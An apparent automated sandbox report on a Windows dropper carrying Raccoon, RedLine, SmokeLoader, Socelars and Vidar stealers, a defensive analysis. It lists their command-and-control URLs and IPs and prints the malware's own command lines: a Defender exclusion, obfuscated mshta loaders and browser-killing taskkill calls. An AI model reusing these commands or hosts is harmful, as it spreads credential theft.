raccoon | 400debff42246bcf28d1eba937480ebdfa755c932707db10ab58ec4a1f5e94f1

Resubmissions

10-11-2021 14:52

211110-r84p8aedej 10

09-11-2021 13:19

211109-qkrv3sfcg4 10

Analysis

max time kernel
127s
max time network
208s
platform
windows10_x64
resource
win10-en-20211014
submitted
10-11-2021 14:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1e662d90254c17f35d76a81e33caff9c356d590244b00583c3bdb837a683607d.exe
Size

7.1MB
MD5

2b01f663d5244764e8c2d164d3345fd6
SHA1

2b0dfcc018a5da0f140352bd114fb0f5e9abdfc3
SHA256

1e662d90254c17f35d76a81e33caff9c356d590244b00583c3bdb837a683607d
SHA512

2c7dd219673800320e3432ff6d8d2e5c2c3ae60a5f5960097d16ff79f385186ce13a81ea5a2b3d17652161d55ea552712f73d2d154b377fa74ec10043469dab4

Score

10^/10

raccoon redline smokeloader socelars vidar 2f2ad1a1aa093c5a9d17040c8efd5650a99640b5 916 fuck1 media18 aspackv2 backdoor infostealer stealer suricata trojan

Malware Config

Extracted

Family

socelars

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.znsjis.top/

Extracted

Family

redline

Botnet

media18

91.121.67.60:2151

Extracted

Family

redline

Botnet

fuck1

135.181.129.119:4805

Extracted

Family

raccoon

Botnet

2f2ad1a1aa093c5a9d17040c8efd5650a99640b5

Attributes

url4cnc
http://telegatt.top/oh12manymarty

http://telegka.top/oh12manymarty

http://telegin.top/oh12manymarty

https://t.me/oh12manymarty

rc4.plain

Extracted

Family

vidar

Version

41.5

Botnet

916

https://mas.to/@xeroxxx

Attributes

profile_id
916

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5024	4788	rundll32.exe	130

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

resource	yara_rule
behavioral8/memory/2524-264-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral8/memory/676-271-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral8/memory/676-274-0x000000000041B23E-mapping.dmp	family_redline
behavioral8/memory/2524-265-0x000000000041B23E-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral8/files/0x000400000001abc4-151.dat	family_socelars
behavioral8/files/0x000400000001abc4-196.dat	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral8/memory/3016-291-0x0000000004920000-0x00000000049F6000-memory.dmp	family_vidar
behavioral8/memory/3016-311-0x0000000000400000-0x0000000002E10000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral8/files/0x000500000001ab71-123.dat	aspack_v212_v242
behavioral8/files/0x000500000001ab71-124.dat	aspack_v212_v242
behavioral8/files/0x000500000001ab80-122.dat	aspack_v212_v242
behavioral8/files/0x000400000001abb4-128.dat	aspack_v212_v242
behavioral8/files/0x000400000001abb4-129.dat	aspack_v212_v242
behavioral8/files/0x000500000001ab80-127.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 18 IoCs

pid	Process
3944	setup_install.exe
2844	Mon2009d34d832dfd1d9.exe
1968	Mon2024c1cb997.exe
1084	Mon20b3dfc29da.exe
1996	Mon20c36d61c41847b17.exe
3384	Mon206e4c938239.exe
1280	Mon209df24d5e8f7.exe
2364	Mon20e7747f4ca9880.exe
2348	Mon204858e151.exe
3632	Mon200820e9da.exe
2952	Mon200cb51003361.exe
3016	Mon2092b01a62c73.exe
3124	Mon201cb4c63ce4.exe
3564	Mon2050daa466f6f.exe
3176	Mon20b09e42933548639.exe
2384	Mon203223fed8a4266c.exe
3888	Mon201629b9d021e.exe
1240	cmd.exe

Loads dropped DLL 7 IoCs

pid	Process
3944	setup_install.exe
3944	setup_install.exe
3944	setup_install.exe
3944	setup_install.exe
3944	setup_install.exe
3944	setup_install.exe
3944	setup_install.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com
57	ipinfo.io
58	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 11 IoCs

pid	pid_target	Process	procid_target
2552	3944	WerFault.exe	70
4496	3564	WerFault.exe	93
4740	3564	WerFault.exe	93
1480	3564	WerFault.exe	93
4268	3564	WerFault.exe	93
4228	3564	WerFault.exe	93
4636	3564	WerFault.exe	93
4904	3016	WerFault.exe	102
4268	3564	WerFault.exe	93
4380	3564	WerFault.exe	93
3540	3564	WerFault.exe	93

Kills process with taskkill 3 IoCs

evasion

pid	Process
4776	taskkill.exe
4812	taskkill.exe
4544	taskkill.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeAssignPrimaryTokenPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeLockMemoryPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeIncreaseQuotaPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeMachineAccountPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeTcbPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeSecurityPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeTakeOwnershipPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeLoadDriverPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeSystemProfilePrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeSystemtimePrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeProfSingleProcessPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeIncBasePriorityPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeCreatePagefilePrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeCreatePermanentPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeBackupPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeRestorePrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeShutdownPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeDebugPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeAuditPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeSystemEnvironmentPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeChangeNotifyPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeRemoteShutdownPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeUndockPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeSyncAgentPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeEnableDelegationPrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeManageVolumePrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeImpersonatePrivilege	1996	Mon20c36d61c41847b17.exe
Token: SeCreateGlobalPrivilege	1996	Mon20c36d61c41847b17.exe
Token: 31	1996	Mon20c36d61c41847b17.exe
Token: 32	1996	Mon20c36d61c41847b17.exe
Token: 33	1996	Mon20c36d61c41847b17.exe
Token: 34	1996	Mon20c36d61c41847b17.exe
Token: 35	1996	Mon20c36d61c41847b17.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3264 wrote to memory of 3944	3264	1e662d90254c17f35d76a81e33caff9c356d590244b00583c3bdb837a683607d.exe	70
PID 3264 wrote to memory of 3944	3264	1e662d90254c17f35d76a81e33caff9c356d590244b00583c3bdb837a683607d.exe	70
PID 3264 wrote to memory of 3944	3264	1e662d90254c17f35d76a81e33caff9c356d590244b00583c3bdb837a683607d.exe	70
PID 3944 wrote to memory of 2868	3944	setup_install.exe	73
PID 3944 wrote to memory of 2868	3944	setup_install.exe	73
PID 3944 wrote to memory of 2868	3944	setup_install.exe	73
PID 3944 wrote to memory of 724	3944	setup_install.exe	74
PID 3944 wrote to memory of 724	3944	setup_install.exe	74
PID 3944 wrote to memory of 724	3944	setup_install.exe	74
PID 3944 wrote to memory of 1100	3944	setup_install.exe	75
PID 3944 wrote to memory of 1100	3944	setup_install.exe	75
PID 3944 wrote to memory of 1100	3944	setup_install.exe	75
PID 3944 wrote to memory of 356	3944	setup_install.exe	76
PID 3944 wrote to memory of 356	3944	setup_install.exe	76
PID 3944 wrote to memory of 356	3944	setup_install.exe	76
PID 3944 wrote to memory of 1088	3944	setup_install.exe	77
PID 3944 wrote to memory of 1088	3944	setup_install.exe	77
PID 3944 wrote to memory of 1088	3944	setup_install.exe	77
PID 3944 wrote to memory of 2172	3944	setup_install.exe	78
PID 3944 wrote to memory of 2172	3944	setup_install.exe	78
PID 3944 wrote to memory of 2172	3944	setup_install.exe	78
PID 3944 wrote to memory of 948	3944	setup_install.exe	79
PID 3944 wrote to memory of 948	3944	setup_install.exe	79
PID 3944 wrote to memory of 948	3944	setup_install.exe	79
PID 3944 wrote to memory of 2132	3944	setup_install.exe	80
PID 3944 wrote to memory of 2132	3944	setup_install.exe	80
PID 3944 wrote to memory of 2132	3944	setup_install.exe	80
PID 3944 wrote to memory of 728	3944	setup_install.exe	82
PID 3944 wrote to memory of 728	3944	setup_install.exe	82
PID 3944 wrote to memory of 728	3944	setup_install.exe	82
PID 3944 wrote to memory of 424	3944	setup_install.exe	81
PID 3944 wrote to memory of 424	3944	setup_install.exe	81
PID 3944 wrote to memory of 424	3944	setup_install.exe	81
PID 3944 wrote to memory of 4012	3944	setup_install.exe	89
PID 3944 wrote to memory of 4012	3944	setup_install.exe	89
PID 3944 wrote to memory of 4012	3944	setup_install.exe	89
PID 3944 wrote to memory of 2456	3944	setup_install.exe	88
PID 3944 wrote to memory of 2456	3944	setup_install.exe	88
PID 3944 wrote to memory of 2456	3944	setup_install.exe	88
PID 3944 wrote to memory of 3644	3944	setup_install.exe	83
PID 3944 wrote to memory of 3644	3944	setup_install.exe	83
PID 3944 wrote to memory of 3644	3944	setup_install.exe	83
PID 3944 wrote to memory of 2276	3944	setup_install.exe	87
PID 3944 wrote to memory of 2276	3944	setup_install.exe	87
PID 3944 wrote to memory of 2276	3944	setup_install.exe	87
PID 3944 wrote to memory of 3896	3944	setup_install.exe	86
PID 3944 wrote to memory of 3896	3944	setup_install.exe	86
PID 3944 wrote to memory of 3896	3944	setup_install.exe	86
PID 3944 wrote to memory of 1892	3944	setup_install.exe	84
PID 3944 wrote to memory of 1892	3944	setup_install.exe	84
PID 3944 wrote to memory of 1892	3944	setup_install.exe	84
PID 3944 wrote to memory of 1904	3944	setup_install.exe	85
PID 3944 wrote to memory of 1904	3944	setup_install.exe	85
PID 3944 wrote to memory of 1904	3944	setup_install.exe	85
PID 1100 wrote to memory of 1968	1100	cmd.exe	90
PID 1100 wrote to memory of 1968	1100	cmd.exe	90
PID 1100 wrote to memory of 1968	1100	cmd.exe	90
PID 4012 wrote to memory of 2844	4012	cmd.exe	103
PID 4012 wrote to memory of 2844	4012	cmd.exe	103
PID 4012 wrote to memory of 2844	4012	cmd.exe	103
PID 948 wrote to memory of 1084	948	cmd.exe	104
PID 948 wrote to memory of 1084	948	cmd.exe	104
PID 948 wrote to memory of 1084	948	cmd.exe	104
PID 356 wrote to memory of 1996	356	cmd.exe	106

C:\Users\Admin\AppData\Local\Temp\1e662d90254c17f35d76a81e33caff9c356d590244b00583c3bdb837a683607d.exe
"C:\Users\Admin\AppData\Local\Temp\1e662d90254c17f35d76a81e33caff9c356d590244b00583c3bdb837a683607d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3264
- C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
    3⤵
    PID:2868
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:3268
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon201cb4c63ce4.exe
    3⤵
    PID:724
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon201cb4c63ce4.exe
      Mon201cb4c63ce4.exe
      4⤵
      Executes dropped EXE
      PID:3124
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCript:ClOsE ( cREateObjEct ( "WSCRiPt.SheLl").rUN( "C:\Windows\system32\cmd.exe /Q /R CoPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon201cb4c63ce4.exe"" O5lIe.exE &&start O5lie.exe /p0vFkT3Hyul & If """" == """" for %u In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon201cb4c63ce4.exe"") do taskkill -f /iM ""%~nXu"" " ,0 , truE ) )
        5⤵
        
        PID:2188
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /Q /R CoPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon201cb4c63ce4.exe" O5lIe.exE &&start O5lie.exe /p0vFkT3Hyul & If "" == "" for %u In ( "C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon201cb4c63ce4.exe") do taskkill -f /iM "%~nXu"
        6⤵
        
        PID:1156
        
        C:\Users\Admin\AppData\Local\Temp\O5lIe.exE
        
        O5lie.exe /p0vFkT3Hyul
        7⤵
        
        PID:4428
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCript:ClOsE ( cREateObjEct ( "WSCRiPt.SheLl").rUN( "C:\Windows\system32\cmd.exe /Q /R CoPY /Y ""C:\Users\Admin\AppData\Local\Temp\O5lIe.exE"" O5lIe.exE &&start O5lie.exe /p0vFkT3Hyul & If ""/p0vFkT3Hyul "" == """" for %u In ( ""C:\Users\Admin\AppData\Local\Temp\O5lIe.exE"") do taskkill -f /iM ""%~nXu"" " ,0 , truE ) )
        8⤵
        
        PID:4584
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /Q /R CoPY /Y "C:\Users\Admin\AppData\Local\Temp\O5lIe.exE" O5lIe.exE &&start O5lie.exe /p0vFkT3Hyul & If "/p0vFkT3Hyul " == "" for %u In ( "C:\Users\Admin\AppData\Local\Temp\O5lIe.exE") do taskkill -f /iM "%~nXu"
        9⤵
        
        PID:4892
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScRIPt: CLosE (CREAtEObJect ("wSCRipT.sHEll").RUN ( "cMd /C EcHo | set /P = ""MZ"" > 83~QW.MQM&copY /b /y 83~QW.MQM + K11w8L.CJH+GwZ9.K3 +XQkW.Nw6 nrRWTYRS.P & StArt msiexec -Y .\nRRWTYRS.p & DEL K11w8L.CJH GwZ9.K3 XQKW.Nw6 83~QW.MQm " , 0, trUE ))
        8⤵
        
        PID:1776
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C EcHo | set /P = "MZ" > 83~QW.MQM&copY /b /y 83~QW.MQM +K11w8L.CJH+GwZ9.K3 +XQkW.Nw6 nrRWTYRS.P & StArt msiexec -Y .\nRRWTYRS.p & DEL K11w8L.CJH GwZ9.K3 XQKW.Nw6 83~QW.MQm
        9⤵
        
        PID:5056
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        10⤵
        
        PID:4720
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>83~QW.MQM"
        10⤵
        
        PID:4796
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y .\nRRWTYRS.p
        10⤵
        
        PID:3532
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f /iM "Mon201cb4c63ce4.exe"
        7⤵
        Kills process with taskkill
        
        PID:4544
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon2024c1cb997.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon2024c1cb997.exe
      Mon2024c1cb997.exe
      4⤵
      Executes dropped EXE
      PID:1968
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon20c36d61c41847b17.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:356
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon20c36d61c41847b17.exe
      Mon20c36d61c41847b17.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1996
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        
        PID:5048
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        
        PID:4812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon203223fed8a4266c.exe
    3⤵
    PID:1088
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon203223fed8a4266c.exe
      Mon203223fed8a4266c.exe
      4⤵
      Executes dropped EXE
      PID:2384
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon2092b01a62c73.exe
    3⤵
    PID:2172
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon2092b01a62c73.exe
      Mon2092b01a62c73.exe
      4⤵
      Executes dropped EXE
      PID:3016
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 932
        5⤵
        Program crash
        
        PID:4904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon20b3dfc29da.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:948
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon20b3dfc29da.exe
      Mon20b3dfc29da.exe
      4⤵
      Executes dropped EXE
      PID:1084
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon206e4c938239.exe
    3⤵
    PID:2132
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon206e4c938239.exe
      Mon206e4c938239.exe
      4⤵
      Executes dropped EXE
      PID:3384
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon206e4c938239.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon206e4c938239.exe
        5⤵
        
        PID:676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon201629b9d021e.exe
    3⤵
    PID:424
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon201629b9d021e.exe
      Mon201629b9d021e.exe
      4⤵
      Executes dropped EXE
      PID:3888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon200cb51003361.exe
    3⤵
    PID:728
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon200cb51003361.exe
      Mon200cb51003361.exe
      4⤵
      Executes dropped EXE
      PID:2952
    - - C:\Users\Admin\AppData\Local\Temp\is-QV0IO.tmp\Mon200cb51003361.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-QV0IO.tmp\Mon200cb51003361.tmp" /SL5="$5002E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon200cb51003361.exe"
        5⤵
        
        PID:1240
      - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon200cb51003361.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon200cb51003361.exe" /SILENT
        6⤵
        
        PID:2116
        
        C:\Users\Admin\AppData\Local\Temp\is-OOE34.tmp\Mon200cb51003361.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-OOE34.tmp\Mon200cb51003361.tmp" /SL5="$10210,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon200cb51003361.exe" /SILENT
        7⤵
        
        PID:616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon20b09e42933548639.exe
    3⤵
    PID:3644
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon20b09e42933548639.exe
      Mon20b09e42933548639.exe
      4⤵
      Executes dropped EXE
      PID:3176
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon20b09e42933548639.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon20b09e42933548639.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        5⤵
        
        PID:1412
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon20b09e42933548639.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon20b09e42933548639.exe" ) do taskkill -f -iM "%~NxM"
        6⤵
        Executes dropped EXE
        
        PID:1240
        
        C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        7⤵
        
        PID:4400
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        8⤵
        
        PID:4596
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        9⤵
        
        PID:4816
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        8⤵
        
        PID:4376
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        9⤵
        
        PID:1720
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        10⤵
        
        PID:3704
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        10⤵
        
        PID:1968
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        10⤵
        
        PID:4492
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "Mon20b09e42933548639.exe"
        7⤵
        Kills process with taskkill
        
        PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon204858e151.exe
    3⤵
    PID:1892
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon204858e151.exe
      Mon204858e151.exe
      4⤵
      Executes dropped EXE
      PID:2348
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon204858e151.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon204858e151.exe
        5⤵
        
        PID:2524
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon20e7747f4ca9880.exe
    3⤵
    PID:1904
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon20e7747f4ca9880.exe
      Mon20e7747f4ca9880.exe
      4⤵
      Executes dropped EXE
      PID:2364
    - - C:\Users\Admin\Pictures\Adobe Films\gw7Fxu6uAAusUvGJhh2bZklw.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\gw7Fxu6uAAusUvGJhh2bZklw.exe"
        5⤵
        
        PID:1172
    - - C:\Users\Admin\Pictures\Adobe Films\YuDnG_HRPJW5UMwZVltLAlIU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\YuDnG_HRPJW5UMwZVltLAlIU.exe"
        5⤵
        
        PID:4124
    - - C:\Users\Admin\Pictures\Adobe Films\oOKjwfF0OOZvTLjhV7f_p0F7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\oOKjwfF0OOZvTLjhV7f_p0F7.exe"
        5⤵
        
        PID:2952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon2050daa466f6f.exe /mixone
    3⤵
    PID:3896
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon2050daa466f6f.exe
      Mon2050daa466f6f.exe /mixone
      4⤵
      Executes dropped EXE
      PID:3564
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 660
        5⤵
        Program crash
        
        PID:4496
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 672
        5⤵
        Program crash
        
        PID:4740
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 784
        5⤵
        Program crash
        
        PID:1480
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 820
        5⤵
        Program crash
        
        PID:4268
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 836
        5⤵
        Program crash
        
        PID:4228
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 856
        5⤵
        Program crash
        
        PID:4636
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 1192
        5⤵
        Program crash
        
        PID:4268
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 1280
        5⤵
        Program crash
        
        PID:4380
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 1292
        5⤵
        Program crash
        
        PID:3540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon209df24d5e8f7.exe
    3⤵
